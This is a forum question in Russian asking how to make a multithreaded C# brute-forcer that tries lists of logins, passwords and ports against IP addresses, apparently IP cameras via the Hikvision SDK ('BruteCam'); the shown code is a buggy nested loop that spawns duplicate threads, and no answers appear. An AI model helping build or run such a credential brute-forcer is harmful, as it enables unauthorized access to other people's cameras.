@frago9876543210

Как реализовать многопоточный брут на c#?

У меня есть база логинов, паролей, портов и ip адресов. Суть в том, что нужно реализовать отдельный перебор для каждого ip адреса в потоках. Код который есть сейчас работает, но по нескольку раз выводит одно и тоже.

public static string IpsFile = "data/IPs.txt";
        public static string LoginFile = "data/logins.txt";
        public static string PasswordFile = "data/passwords.txt";
        public static string PortsFile = "data/ports.txt";
        
        static void Main(string[] args)
        {
            CHCNetSDK.NET_DVR_Init();
            int threads = 10;
            for (int i = 0; i <= threads; i++)
            {
                string[] ips = File.ReadAllLines(IpsFile);
                string[] ports = File.ReadAllLines(PortsFile);
                string[] logins = File.ReadAllLines(LoginFile);
                string[] passwords = File.ReadAllLines(PasswordFile);

                foreach (string ip in ips)
                {
                    foreach (string port in ports)
                    {
                        foreach (string login in logins)
                        {
                            foreach (string password in passwords)
                            {
                                Brute brute = new Brute(ip, int.Parse(port), login, password);
                                Thread myThread = new Thread(brute.BruteCam)
                                {
                                    Name = "Thread #" + i
                                };
                                myThread.Start();
                            }
                        }
                    }
                }
            }
            Console.ReadLine();
        }
  • Вопрос задан
  • 1782 просмотра
Пригласить эксперта
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Похожие вопросы